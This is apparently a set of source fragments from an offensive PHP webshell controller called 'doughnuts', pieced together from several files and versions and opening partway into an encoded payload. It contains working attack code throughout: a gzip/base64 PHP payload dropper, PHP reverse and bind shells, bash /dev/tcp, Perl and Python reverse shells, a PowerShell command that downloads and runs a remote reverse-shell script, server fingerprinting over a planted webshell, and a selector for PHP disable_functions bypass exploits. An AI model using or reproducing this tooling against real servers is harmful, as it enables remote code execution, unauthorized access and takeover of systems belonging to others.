Ew6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRigqUKlRh83jsdIZSLpGKlWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPiQlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwqSwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XlTLBsVuKr4wiwHnZdFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="; $evalCode = gzinflate(base64_decode($payload)); file_put_contents("%s", $evalCode); %s""" % (filename, get_system_code(f"{filename} {ip} {port}", False)) else: return """ignore_user_abort(true); ini_set("max_execution_time",0); $ipaddr = "%s"; $port = "%s"; $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); $cwd = getcwd(); $msg = php_uname()."\\nTemporary shall\\n"; $type = True; if(!in_array('proc_open', explode(',', ini_get('disable_functions')))){ $sock = fsockopen($ipaddr, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); die(); } else{ $env = array("path" => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin"); } if(function_exists("fsockopen")) { $sock = fsockopen($ipaddr,$port); } else { $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_connect($sock,$ipaddr,$port); socket_write($sock,$msg); $type = False; } fwrite($sock,$msg); fwrite($sock,"[".getcwd()."]$ "); while (True) { if ($type == True){ $cmd = fread($sock,1024); } else { $cmd = socket_read($sock,1024); } if (substr($cmd,0,3) == "cd " and strlen($cmd) > 3) { $cwd = trim(substr($cmd,3)); chdir($cwd); $cwd = getcwd(); } else if (trim(strtolower($cmd)) == "exit") { break; } else { $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg = stream_get_contents($pipes[1]); if ($type == True){ fwrite($sock,$msg); } else { socket_write($sock,$msg,strlen($msg)); } fclose($pipes[1]); $msg = stream_get_contents($pipes[2]); if ($type == True){ fwrite($sock,$msg); } else { socket_write($sock,$msg,strlen($msg)); } fclose($pipes[2]); proc_close($process); } } fwrite($sock,"[".getcwd()."]$ "); } if ($type == True){ fclose($sock); } else {socket_close($sock); }""" % (ip, port)
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) continue if ("=" not in v and i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i + 1])) pass_next = True else: extra_params.append(str(v)) encoders_or_params = new_eop + extra_params extra_params = [f for f in encoders_or_params if ":" in str(f)] params_dict[raw_key] = {} for each in extra_params: k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update( dict([(k, v[0]) for k, v in parse_qs(data).items()])) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split( "|cc509a6f75849b")[0], namespace="webshell") info_req = send( """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join( encoders_or_params) + "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "a+") as f: f.write(f"{url}|{method}|{pwd}|{extra}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(mode: str = '0'): """ bdf Try to bypass disable_functions by php7-backtrace-bypass. Mode -1 / Mode close: Close bdf Mode auto: Automatically filter and test all bdf modes Mode 0: Display the current bdf mode Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 < 7.3.15 (released 20 Feb 2020) - 7.4 < 7.4.3 (released 20 Feb 2020) Mode 2 php7-gc(Only for php7.0-7.3 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date Mode 3 php7-json(Only for php7.1-7.3): Origin: - https://github.com/mm0r1/exploits/tree/master/php-json-bypass Targets: - 7.1 - all versions to date - 7.2 < 7.2.19 (released 30 May 2019) - 7.3 < 7.3.6 (released 30 May 2019) Mode 4 LD_PRELOAD(Only for *unix): Need: - putenv, mail/error_log/mb_send_mail/imap_email fucntions enabled Mode 5 FFI(Only for *unix and php >= 7.4): Author: - MorouU Need: - FFI extension Mode 6 COM(Only for windows): Need: - com_dotnet extension Mode 7 imap_open: Need: - imap extension """ if (mode == "close"): mode = -1 if (mode == "auto"): test_list = windows_test_list if is_windows() else linux_test_list php_version = gget("webshell.php_version", "webshell") if (not php_version.startswith("7.")): test_list -= {1, 2, 3} for test_mode in test_list: print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:") if (set_mode(test_mode, True)): res = send( get_system_code("echo 6ac2ed344113c07c0028327388553273", mode=test_mode)) if (res and "6ac2ed344113c07c0028327388553273" in res.r_text): print(color.green("\n Success\n")) print( f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n" ) gset("webshell.bypass_df", test_mode, True, "webshell") break else: print(color.red("\n Failed!\n")) continue else: try: mode = int(mode) except ValueError: print(color.red("\nMode error.\n")) return if (mode == 0): print( f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n" ) elif (mode in mode_to_desc_dict and (mode not in mode_linux_set or not is_windows())): set_mode(mode) pass else: print(color.red("\nMode error.\n"))
cpath = path.split(path.realpath(__file__))[0] from sys import path as pyfpath, executable, argv pyfpath.append(cpath) from libs.config import color from libs.myapp import is_windows from os import environ pypath = executable filename = "doughnuts" if (len(argv) == 2 and argv[1] != ""): filename = argv[1] if (not is_windows(False)): if ("/usr/local/bin" not in environ["PATH"]): print(color.red(f"please add /usr/local/bin to $PATH")) exit(1) fpath = "/usr/local/bin/" + filename print(color.green(f"Try to generate {fpath}")) with open(fpath, "w+") as f: f.write(f"#!/bin/sh\n{pypath} {cpath}/doughnuts.py $*") chmod(fpath, 0o755) if (path.exists(fpath)): print(color.green("generate success!")) else: print(color.red("generate error!")) else: fpath = path.dirname(pypath) + "\\" + filename + ".bat" print(color.green(f"Try to generate {fpath}"))
def run(mode: str = '0'): """ bdf Try to bypass disable_functions by php7-backtrace-bypass. Mode -1 / Mode close: Close bdf Mode auto: Automatically filter and test all bdf modes Mode 0: Display the current bdf mode Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 < 7.3.15 (released 20 Feb 2020) - 7.4 < 7.4.3 (released 20 Feb 2020) Mode 2 php7-gc(Only for php7.0-7.3 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date Mode 3 php7-json(Only for php7.1-7.3): Origin: - https://github.com/mm0r1/exploits/tree/master/php-json-bypass Targets: - 7.1 - all versions to date - 7.2 < 7.2.19 (released 30 May 2019) - 7.3 < 7.3.6 (released 30 May 2019) Mode 4 LD_PRELOAD(Only for *unix): Need: - putenv, mail/error_log/mb_send_mail/imap_email fucntions Mode 5 FFI(Only for *unix and php >= 7.4): Author: - MorouU Need: - FFI extension Mode 6 COM(Only for windows): Need: - com_dotnet extension Mode 7 imap_open: Need: - imap extension Mode 8 MYSQL-UDF: Need: - db_init - mysql >= 5.1 Mode 9 php7-splDoublyLinkedList: Origin: - https://www.freebuf.com/vuls/251017.html Targets: - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date - 7.4 < 7.4.11 Mode 10 php-fpm Origin: - https://xz.aliyun.com/t/5598 Need: - php-fpm - gopher: curl extension, fpm can access by http - sock: stream_socket_client function, fpm can access by sock - http_sock: fsockopen / pfsockopen function, fpm can access by http Mode 11 apache-mod-cgi Origin: - https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php Need: - apache_mod_cgi - allow .htaccess Mode 12 iconv Origin: - https://xz.aliyun.com/t/8669 Need: - iconv extension - putenv fucntions """ if (mode == "close"): mode = -1 if (mode == "auto"): test_list = windows_test_list if is_windows() else linux_test_list php_version = gget("webshell.php_version", "webshell") if (not php_version.startswith("7.")): test_list -= {1, 2, 3, 9} if (not gget("db_connected", "webshell") or gget("db_dbms", "webshell") != "mysql"): test_list -= {8} for test_mode in test_list: print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:") if (set_mode(test_mode, True)): res = send( get_system_code("echo 6ac2ed344113c07c0028327388553273", mode=test_mode)) if (res and "6ac2ed344113c07c0028327388553273" in res.r_text): print(color.green("\n Success\n")) print( f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n" ) gset("webshell.bypass_df", test_mode, True, "webshell") break else: print(color.red("\n Failed!\n")) continue else: try: mode = int(mode) except ValueError: print(color.red("\nMode error\n")) return if (mode == 0): print( f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n" ) elif (mode in mode_to_desc_dict and (mode not in mode_linux_set or not is_windows())): set_mode(mode) pass else: print(color.red("\nMode error\n"))
def run(ip: str, port: str, reverse_type: str = "php"): """ reverse reverse shell to a host from target system. eg: reverse {ip} {port} {type=php} reverse_type: - bash - php - python - powershell(ps) - perl (only for *unix) """ reverse_type = str(reverse_type).lower() upload_tmp_dir = gget("webshell.upload_tmp_dir", "webshell") if reverse_type == "bash": if (is_windows()): print(color.red("Target system is windows")) return command = f"""bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'""" t = Thread(target=send, args=(get_system_code(command),)) t.setDaemon(True) t.start() elif reverse_type == "php": php = get_reverse_php(ip, port, upload_tmp_dir) t = Thread(target=send, args=(php,)) t.setDaemon(True) t.start() if (is_windows()): t2 = Thread(target=delay_send, args=( 10.0, f"unlink('{upload_tmp_dir}\\\\services.exe');",)) t2.setDaemon(True) t2.start() elif reverse_type in ("powershell", "ps"): command = '''IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress %s -port %s''' % (ip, port) command = f"powershell -nop -ep bypass -encodedcommand {base64_encode(command, encoding='utf-16le')}" t = Thread(target=send, args=(get_system_code(command),)) t.setDaemon(True) t.start() elif reverse_type == "perl": if (is_windows()): print(color.red("Target system is windows")) return command = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % ( ip, port) t = Thread(target=send, args=(get_system_code(command),)) t.setDaemon(True) t.start() elif reverse_type == "python": if has_env("python"): t = Thread(target=send, args=(get_system_code(get_reverse_python(ip, port), False),)) t.setDaemon(True) t.start() else: print( color.red( "The target host does not exist or cannot be found in the python environment." ) ) return else: print(color.red("Reverse type Error.")) return sleep(1) if (t.isAlive()): print(f"\nReverse shell to {ip}:{port} {color.green('success')}.\n") else: print(f"\nReverse shell {color.red('error')}.\n")
def get_php(port, passwd): if (is_windows()): return """$pass="******"; $port=%s; @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $sQUf=@ini_get('disable_functions'); if(!empty($sQUf)){ $sQUf=preg_replace('/[, ]+/', ',', $sQUf); $sQUf=explode(',', $sQUf); $sQUf=array_map('trim', $sQUf); }else{ $sQUf=array(); } $scl='socket_create_listen'; if(is_callable($scl)&&!in_array($scl,$sQUf)){ $sock=@$scl($port); }else{ $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); $ret=@socket_bind($sock,0,$port); $ret=@socket_listen($sock,5); } while (1){ $msgsock=@socket_accept($sock); $o="password:>"; @socket_write($msgsock,$o,strlen($o)); $pwd=@socket_read($msgsock,2048,PHP_NORMAL_READ); if (trim($pwd) === $pass){ $o="password correct\\n"; @socket_write($msgsock,$o,strlen($o)); while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) { $o = ''; $c=@socket_read($msgsock,2048,PHP_NORMAL_READ); if(FALSE===$c){break;} $c=trim($c); if(substr($c,0,3) == 'cd '){ chdir(substr($c,3)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c=$c." 2>&1\\n"; } $NeYd='is_callable'; $BDpSjt='in_array'; if($NeYd('passthru')and!$BDpSjt('passthru',$sQUf)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else if($NeYd('exec')and!$BDpSjt('exec',$sQUf)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($NeYd('system')and!$BDpSjt('system',$sQUf)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($NeYd('proc_open')and!$BDpSjt('proc_open',$sQUf)){ $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else if($NeYd('shell_exec')and!$BDpSjt('shell_exec',$sQUf)){ $o=shell_exec($c); }else if($NeYd('popen')and!$BDpSjt('popen',$sQUf)){ $fp=popen($c,'r'); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else { $o=0;} } @socket_write($msgsock,$o,strlen($o)); } }else { $o="password error"; @socket_write($msgsock,$o,strlen($o)); } @socket_close($msgsock); }""" % (passwd, port) else: return """$pass="******"; $port="%s"; $socket = stream_socket_server('tcp://0.0.0.0:'.$port, $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN); if ($socket === false) { echo "Bind error"; die(1); } $processes = array(); while (1) { $current = @stream_socket_accept($socket, 5, $host); if ($current !== false) { stream_socket_sendto($current, "password:>"); $pwd = trim(stream_get_contents($current, strlen($pass)+1)); if ($pwd === $pass){ $io = array( 0 => $current, 1 => $current, 2 => $current ); stream_socket_sendto($current, "password correct\\n"); $proc = proc_open('unset HISTFILE;date;uname -a;bash -i', $io, $pipes); $processes[] = array($current, $proc); } else{ stream_socket_sendto($current, "password error"); fflush($current); fclose($current); } } foreach ($processes as $k=>$v) { $status = proc_get_status($v[1]); if (false === $status['running']) { fflush($v[0]); fclose($v[0]); proc_close($v[1]); unset($processes[$k]); } } }""" % (passwd, port)
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) elif (i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i+1])) pass_next = True encoders_or_params = new_eop extra_params = [f for f in encoders_or_params if "=" in str(f)] params_dict[raw_key] = {} for each in extra_params: if(":" in each): k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update(dict([(k, value_translation(v[0])) for k, v in parse_qs(data).items()])) else: k, data = each.split("=") if (k not in params_dict): params_dict[k] = {} if (k == "auth"): params_dict[k] = value_translation(data) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") version_flag_start = randstr( string=ascii_letters + digits, offset=randint(32, 62)) version_flag_end = randstr( string=ascii_letters + digits, offset=randint(32, 62)) res = send( 'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True) if (not res or version_flag_start not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if version_flag_start in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[ 1].split("|" + version_flag_end)[0], namespace="webshell") info_req = send( """$bit=PHP_INT_SIZE==4?32:64; print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") bits = info[7] try: bits = int(bits) except ValueError: bits = 0 print(color.yellow("detect architecture error\n")) gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell") gset("webshell.arch", bits, namespace="webshell") gset("webshell.directory_separator", info[8], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join(encoders_or_params) + \ "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "ab+") as f: text = f.read() if (text): f.seek(-1, SEEK_END) if f.read(1) != b"\n": f.write(b"\n") f.write(f"{url}|{method}|{pwd}|{extra}\n".encode()) else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) update_prompt() if (exec_func == ''): print(color.red("No system execute function\n")) return True